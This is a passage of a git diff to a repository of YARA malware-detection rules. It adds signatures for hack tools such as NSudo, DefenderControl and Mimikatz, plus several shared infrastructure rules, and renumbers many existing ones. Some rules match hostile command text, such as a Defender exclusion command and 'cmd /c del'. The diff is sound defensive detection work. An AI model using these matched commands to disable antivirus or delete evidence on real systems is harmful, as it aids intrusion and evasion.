1)*-100+(#a_80_12 & 1)*-100+(#a_80_13 & 1)*-100+(#a_80_14 & 1)*-100) >=47 + +} \ No newline at end of file diff --git a/HackTool/Win32/NSudo/HackTool_Win32_Nsudo_B.yar b/HackTool/Win32/NSudo/HackTool_Win32_Nsudo_B.yar index f05f071a3c..409d088cf9 100644 --- a/HackTool/Win32/NSudo/HackTool_Win32_Nsudo_B.yar +++ b/HackTool/Win32/NSudo/HackTool_Win32_Nsudo_B.yar @@ -1,13 +1,15 @@ rule HackTool_Win32_Nsudo_B{ meta: - description = "HackTool:Win32/Nsudo.B,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + description = "HackTool:Win32/Nsudo.B,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 05 00 00 " strings : $a_00_0 = {75 00 3a 00 74 00 } //1 u:t $a_00_1 = {75 00 3d 00 74 00 } //1 u=t $a_00_2 = {6e 00 73 00 75 00 64 00 6f 00 } //2 nsudo + $a_00_3 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-1000 msedgewebview2.exe + $a_00_4 = {69 00 66 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 3d 00 3d 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 65 00 63 00 68 00 6f 00 } //-1000 if false == false echo condition: - ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*2) >=3 + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*2+(#a_00_3 & 1)*-1000+(#a_00_4 & 1)*-1000) >=3 } \ No newline at end of file diff --git a/HackTool/Win32/Silentall/HackTool_Win32_Silentall.yar b/HackTool/Win32/Silentall/HackTool_Win32_Silentall.yar new file mode 100644 index 0000000000..317a24374b --- /dev/null +++ b/HackTool/Win32/Silentall/HackTool_Win32_Silentall.yar @@ -0,0 +1,14 @@ + +rule HackTool_Win32_Silentall{ + meta: + description = "HackTool:Win32/Silentall,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_01_0 = {53 00 69 00 6c 00 65 00 6e 00 74 00 41 00 6c 00 6c 00 2e 00 4e 00 65 00 74 00 20 00 4b 00 61 00 74 00 } //1 SilentAll.Net Kat + $a_01_1 = {53 69 6c 65 6e 74 41 4c 4c 53 61 6d 70 6c 65 50 72 6f 6a 65 63 74 2e 50 72 6f 70 65 72 74 69 65 73 } //1 SilentALLSampleProject.Properties + $a_01_2 = {75 00 54 00 6f 00 72 00 72 00 65 00 6e 00 74 00 } //1 uTorrent + $a_01_3 = {42 00 69 00 74 00 54 00 6f 00 72 00 72 00 65 00 6e 00 74 00 } //1 BitTorrent + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/HackTool/Win64/DefenderControl/HackTool_Win64_DefenderControl_NIT_MTB.yar b/HackTool/Win64/DefenderControl/HackTool_Win64_DefenderControl_NIT_MTB.yar new file mode 100644 index 0000000000..870db20fca --- /dev/null +++ b/HackTool/Win64/DefenderControl/HackTool_Win64_DefenderControl_NIT_MTB.yar @@ -0,0 +1,15 @@ + +rule HackTool_Win64_DefenderControl_NIT_MTB{ + meta: + description = "HackTool:Win64/DefenderControl.NIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 00 " + + strings : + $a_01_0 = {44 65 66 65 6e 64 65 72 43 6f 6e 74 72 6f 6c } //2 DefenderControl + $a_01_1 = {43 6f 6d 6d 61 6e 64 20 41 64 64 2d 4d 70 50 72 65 66 65 72 65 6e 63 65 20 2d 45 78 63 6c 75 73 69 6f 6e 50 61 74 68 } //2 Command Add-MpPreference -ExclusionPath + $a_01_2 = {64 43 6f 6e 74 72 6f 6c } //2 dControl + $a_01_3 = {40 65 63 68 6f 20 6f 66 66 } //1 @echo off + $a_01_4 = {63 6d 64 20 2f 63 20 64 65 6c } //1 cmd /c del + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/HackTool/Win64/Mimikatz/HackTool_Win64_Mimikatz_G.yar b/HackTool/Win64/Mimikatz/HackTool_Win64_Mimikatz_G.yar new file mode 100644 index 0000000000..5d65c49ad4 --- /dev/null +++ b/HackTool/Win64/Mimikatz/HackTool_Win64_Mimikatz_G.yar @@ -0,0 +1,15 @@ + +rule HackTool_Win64_Mimikatz_G{ + meta: + description = "HackTool:Win64/Mimikatz.G,SIGNATURE_TYPE_PEHSTR,28 00 28 00 05 00 00 " + + strings : + $a_01_0 = {48 8d 6e 30 48 8d 0d } //10 + $a_01_1 = {48 8d 94 24 b0 00 00 00 48 8d 0d } //10 + $a_01_2 = {4c 8d 85 30 01 00 00 48 8d 15 } //10 + $a_01_3 = {0f b6 4c 24 30 85 c0 0f 45 cf 8a c1 } //10 + $a_01_4 = {44 8b 45 80 85 c0 0f 84 } //10 + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*10+(#a_01_2 & 1)*10+(#a_01_3 & 1)*10+(#a_01_4 & 1)*10) >=40 + +} \ No newline at end of file diff --git a/HackTool/Win64/Mimikatz/HackTool_Win64_Mimikatz_H.yar b/HackTool/Win64/Mimikatz/HackTool_Win64_Mimikatz_H.yar new file mode 100644 index 0000000000..e4a59c9d3b --- /dev/null +++ b/HackTool/Win64/Mimikatz/HackTool_Win64_Mimikatz_H.yar @@ -0,0 +1,14 @@ + +rule HackTool_Win64_Mimikatz_H{ + meta: + description = "HackTool:Win64/Mimikatz.H,SIGNATURE_TYPE_PEHSTR,28 00 28 00 04 00 00 " + + strings : + $a_01_0 = {b9 14 00 00 00 f3 aa 48 8d 3d } //10 + $a_01_1 = {48 8b ca f3 aa 48 8d 3d } //10 + $a_01_2 = {8b ca f3 aa 48 8d 3d } //10 + $a_01_3 = {8d 50 14 8b ca 44 8d 48 01 44 } //10 + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*10+(#a_01_2 & 1)*10+(#a_01_3 & 1)*10) >=40 + +} \ No newline at end of file diff --git a/InfrastructureShared/_InfrastructureShared.yar b/InfrastructureShared/_InfrastructureShared.yar index 66ea748ae8..035bc16c3a 100644 --- a/InfrastructureShared/_InfrastructureShared.yar +++ b/InfrastructureShared/_InfrastructureShared.yar @@ -2242,6 +2242,21 @@ rule _InfrastructureShared_222{ } rule _InfrastructureShared_223{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 4b 65 72 6e 65 6c 43 61 6c 6c 42 61 63 6b 54 61 62 6c 65 2e 4d 4b 00 01 00 1a 01 4e 74 51 75 65 72 79 49 6e 66 6f 72 6d 61 74 69 6f 6e 50 72 6f 63 65 73 73 00 01 00 14 01 4b 65 72 } //21283 + $a_43_1 = {6c 6c 62 61 63 6b 54 61 62 6c 65 00 01 00 0f 01 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 01 00 0f 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 00 01 00 13 01 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 01 00 0c 01 53 65 6e 64 4d 65 73 73 61 67 65 00 01 00 12 01 52 65 61 64 50 72 6f 63 65 73 73 4d 65 6d 6f } //25966 + $a_5f_3 = {66 } //3328 f + $a_50_4 = {44 41 54 41 00 01 00 0c 01 57 4d 5f 43 4f 50 59 44 41 54 41 00 00 00 bd fe 01 00 0d 15 32 00 b7 01 00 00 35 32 62 33 34 33 35 31 65 66 34 33 00 49 6e 63 6c 75 64 65 73 00 42 4d 4c 75 61 4c 69 62 2c 54 65 63 68 6e 69 71 75 65 54 72 61 63 } //17262 + $a_2c_5 = {75 61 46 75 6e 63 48 65 6c 70 65 72 00 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 09 2d 00 00 00 45 00 00 00 46 40 c0 00 46 80 c0 00 5a 00 00 00 16 c0 01 80 45 00 00 00 46 40 c0 00 46 c0 c0 00 57 00 c1 00 16 80 00 80 45 00 00 00 46 40 c0 00 06 c0 c0 00 45 40 01 00 80 00 00 00 5c 80 00 01 5a 00 00 00 } //25963 + $a_00_8 = {00 01 45 80 01 00 46 00 c2 00 80 00 00 00 5c 80 00 01 85 40 02 00 c0 00 80 00 9c 00 01 01 16 40 02 80 c5 81 02 00 c6 c1 c2 03 00 02 00 03 dc 81 00 01 da 01 00 00 16 c0 00 80 c5 01 03 00 c6 41 c3 03 00 02 00 03 dc 41 00 01 a1 80 00 00 16 c0 fc 7f 85 80 01 00 86 80 43 01 9e 00 00 01 } //193 + condition: + ((#a_46_0 & 1)*21283+(#a_43_1 & 1)*25966+(#a_5f_3 & 1)*3328+(#a_50_4 & 1)*17262+(#a_2c_5 & 1)*25963+(#a_00_8 & 1)*193) >=9 + +} +rule _InfrastructureShared_224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 10 00 21 " @@ -2265,7 +2280,7 @@ rule _InfrastructureShared_223{ ((#a_46_0 & 1)*21283+(#a_54_1 & 1)*3328+(#a_6f_2 & 1)*29550+(#a_6f_3 & 1)*25974+(#a_00_4 & 1)*31090+(#a_52_5 & 1)*20225+(#a_75_6 & 1)*6912+(#a_00_7 & 1)*-32639+(#a_5a_8 & 1)*128+(#a_00_9 & 1)*5632+(#a_53_10 & 1)*24948+(#a_6c_11 & 1)*10844+(#a_2e_13 & 1)*21321+(#a_74_14 & 1)*28531+(#a_73_15 & 1)*29283) >=8 } -rule _InfrastructureShared_224{ +rule _InfrastructureShared_225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -2275,7 +2290,31 @@ rule _InfrastructureShared_224{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_225{ +rule _InfrastructureShared_226{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " + + strings : + $a_4c_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 4e 69 74 63 70 69 6c 2e 41 00 01 00 44 01 43 43 6c 69 65 6e 74 2e 43 6f 6e 6e 65 63 74 69 6f 6e 2e 54 43 50 44 6d 74 70 53 6f 63 6b 65 74 2b 3c 3e 63 5f 5f 44 69 } //21539 + $a_61_1 = {43 6c 61 73 73 31 5f 31 2b 3c 3c 2d 63 74 6f 72 3e 62 5f 5f 39 3e 64 01 00 1c 01 43 00 6c 00 69 00 65 00 6e 00 74 00 5f 00 54 00 43 00 50 00 2e 00 64 00 6c 00 6c 00 01 00 23 01 44 65 63 72 79 70 74 44 45 53 00 47 65 74 43 6f 6d 6d 61 6e 64 4c 69 6e 65 57 00 43 6f 73 74 75 72 61 00 01 00 23 03 54 00 43 00 50 00 2d 00 44 00 } //28787 + $a_00_2 = {70 00 90 02 10 73 00 65 00 72 00 76 00 69 00 63 00 65 00 90 00 00 00 bd f9 00 00 0d 15 13 00 d1 00 00 00 33 38 62 33 35 66 32 35 38 32 66 39 00 49 6e 63 6c 75 64 65 73 00 42 4d 4c 75 61 4c 69 62 00 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 04 12 00 00 00 05 00 00 00 1c 80 80 00 1a 00 00 00 16 40 02 80 45 } //109 + condition: + ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*28787+(#a_00_2 & 1)*109) >=2 + +} +rule _InfrastructureShared_227{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " + + strings : + $a_4c_0 = {48 53 54 52 3a 52 65 66 6c 65 63 74 69 76 65 4c 6f 61 64 65 72 48 61 73 68 2e 53 30 31 00 01 00 04 01 5b bc 4a 6a 01 00 04 01 5d 68 fa 3c 01 00 04 01 8e 4e 0e ec 01 00 04 01 aa fc 0d 7c 01 00 04 01 54 ca af } //21539 + $a_4c_2 = {00 00 bd 2c 01 00 0d 15 1b 00 } //-18431 + $a_37_4 = {33 37 65 32 64 36 65 00 49 6e 63 6c 75 64 65 73 00 54 65 63 68 6e 69 71 75 65 54 72 61 63 6b 65 72 00 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 04 11 00 00 00 05 00 00 00 41 40 00 00 81 80 00 00 c1 c0 00 00 1c 40 00 02 05 00 01 00 41 40 00 00 1c 80 00 01 1a } //25907 + condition: + ((#a_4c_0 & 1)*21539+(#a_4c_2 & 1)*-18431+(#a_37_4 & 1)*25907) >=5 + +} +rule _InfrastructureShared_228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2285,7 +2324,7 @@ rule _InfrastructureShared_225{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_226{ +rule _InfrastructureShared_229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2295,7 +2334,7 @@ rule _InfrastructureShared_226{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_227{ +rule _InfrastructureShared_230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2305,7 +2344,7 @@ rule _InfrastructureShared_227{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_228{ +rule _InfrastructureShared_231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2315,7 +2354,7 @@ rule _InfrastructureShared_228{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_229{ +rule _InfrastructureShared_232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2325,7 +2364,7 @@ rule _InfrastructureShared_229{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_230{ +rule _InfrastructureShared_233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2335,7 +2374,7 @@ rule _InfrastructureShared_230{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_231{ +rule _InfrastructureShared_234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2345,7 +2384,7 @@ rule _InfrastructureShared_231{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_232{ +rule _InfrastructureShared_235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2355,7 +2394,7 @@ rule _InfrastructureShared_232{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_233{ +rule _InfrastructureShared_236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2365,7 +2404,7 @@ rule _InfrastructureShared_233{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_234{ +rule _InfrastructureShared_237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2375,7 +2414,7 @@ rule _InfrastructureShared_234{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_235{ +rule _InfrastructureShared_238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2385,7 +2424,7 @@ rule _InfrastructureShared_235{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_236{ +rule _InfrastructureShared_239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2395,7 +2434,7 @@ rule _InfrastructureShared_236{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_237{ +rule _InfrastructureShared_240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2405,7 +2444,7 @@ rule _InfrastructureShared_237{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_238{ +rule _InfrastructureShared_241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2415,7 +2454,7 @@ rule _InfrastructureShared_238{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_239{ +rule _InfrastructureShared_242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2425,7 +2464,7 @@ rule _InfrastructureShared_239{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_240{ +rule _InfrastructureShared_243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2435,7 +2474,7 @@ rule _InfrastructureShared_240{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_241{ +rule _InfrastructureShared_244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2445,7 +2484,7 @@ rule _InfrastructureShared_241{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_242{ +rule _InfrastructureShared_245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2455,7 +2494,7 @@ rule _InfrastructureShared_242{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_243{ +rule _InfrastructureShared_246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2465,7 +2504,7 @@ rule _InfrastructureShared_243{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_244{ +rule _InfrastructureShared_247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2475,7 +2514,7 @@ rule _InfrastructureShared_244{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_245{ +rule _InfrastructureShared_248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2485,7 +2524,7 @@ rule _InfrastructureShared_245{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_246{ +rule _InfrastructureShared_249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2495,7 +2534,7 @@ rule _InfrastructureShared_246{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_247{ +rule _InfrastructureShared_250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2505,7 +2544,7 @@ rule _InfrastructureShared_247{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_248{ +rule _InfrastructureShared_251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2515,7 +2554,7 @@ rule _InfrastructureShared_248{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_249{ +rule _InfrastructureShared_252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2525,7 +2564,7 @@ rule _InfrastructureShared_249{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_250{ +rule _InfrastructureShared_253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2535,7 +2574,7 @@ rule _InfrastructureShared_250{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_251{ +rule _InfrastructureShared_254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2545,7 +2584,7 @@ rule _InfrastructureShared_251{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_252{ +rule _InfrastructureShared_255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2555,7 +2594,7 @@ rule _InfrastructureShared_252{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_253{ +rule _InfrastructureShared_256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2565,7 +2604,7 @@ rule _InfrastructureShared_253{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_254{ +rule _InfrastructureShared_257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2575,7 +2614,7 @@ rule _InfrastructureShared_254{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_255{ +rule _InfrastructureShared_258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2585,7 +2624,7 @@ rule _InfrastructureShared_255{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_256{ +rule _InfrastructureShared_259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2595,7 +2634,7 @@ rule _InfrastructureShared_256{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_257{ +rule _InfrastructureShared_260{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2605,7 +2644,7 @@ rule _InfrastructureShared_257{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_258{ +rule _InfrastructureShared_261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2615,7 +2654,7 @@ rule _InfrastructureShared_258{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_259{ +rule _InfrastructureShared_262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2625,7 +2664,7 @@ rule _InfrastructureShared_259{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_260{ +rule _InfrastructureShared_263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2635,7 +2674,7 @@ rule _InfrastructureShared_260{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_261{ +rule _InfrastructureShared_264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2645,7 +2684,7 @@ rule _InfrastructureShared_261{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_262{ +rule _InfrastructureShared_265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2655,7 +2694,7 @@ rule _InfrastructureShared_262{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_263{ +rule _InfrastructureShared_266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2665,7 +2704,7 @@ rule _InfrastructureShared_263{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_264{ +rule _InfrastructureShared_267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2675,7 +2714,7 @@ rule _InfrastructureShared_264{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_265{ +rule _InfrastructureShared_268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2685,7 +2724,7 @@ rule _InfrastructureShared_265{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_266{ +rule _InfrastructureShared_269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2695,7 +2734,7 @@ rule _InfrastructureShared_266{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_267{ +rule _InfrastructureShared_270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -2706,7 +2745,7 @@ rule _InfrastructureShared_267{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*17511) >=2 } -rule _InfrastructureShared_268{ +rule _InfrastructureShared_271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2716,7 +2755,7 @@ rule _InfrastructureShared_268{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_269{ +rule _InfrastructureShared_272{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2726,7 +2765,7 @@ rule _InfrastructureShared_269{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_270{ +rule _InfrastructureShared_273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2736,7 +2775,7 @@ rule _InfrastructureShared_270{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_271{ +rule _InfrastructureShared_274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -2747,7 +2786,7 @@ rule _InfrastructureShared_271{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*24941) >=1 } -rule _InfrastructureShared_272{ +rule _InfrastructureShared_275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -2758,7 +2797,7 @@ rule _InfrastructureShared_272{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*17509) >=2 } -rule _InfrastructureShared_273{ +rule _InfrastructureShared_276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2768,7 +2807,7 @@ rule _InfrastructureShared_273{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_274{ +rule _InfrastructureShared_277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2778,7 +2817,7 @@ rule _InfrastructureShared_274{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_275{ +rule _InfrastructureShared_278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2788,7 +2827,7 @@ rule _InfrastructureShared_275{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_276{ +rule _InfrastructureShared_279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2798,7 +2837,7 @@ rule _InfrastructureShared_276{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_277{ +rule _InfrastructureShared_280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -2809,7 +2848,7 @@ rule _InfrastructureShared_277{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*28265) >=2 } -rule _InfrastructureShared_278{ +rule _InfrastructureShared_281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2819,7 +2858,7 @@ rule _InfrastructureShared_278{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_279{ +rule _InfrastructureShared_282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2829,7 +2868,7 @@ rule _InfrastructureShared_279{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_280{ +rule _InfrastructureShared_283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2839,7 +2878,7 @@ rule _InfrastructureShared_280{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_281{ +rule _InfrastructureShared_284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2849,7 +2888,7 @@ rule _InfrastructureShared_281{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_282{ +rule _InfrastructureShared_285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2859,7 +2898,7 @@ rule _InfrastructureShared_282{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_283{ +rule _InfrastructureShared_286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2869,7 +2908,7 @@ rule _InfrastructureShared_283{ 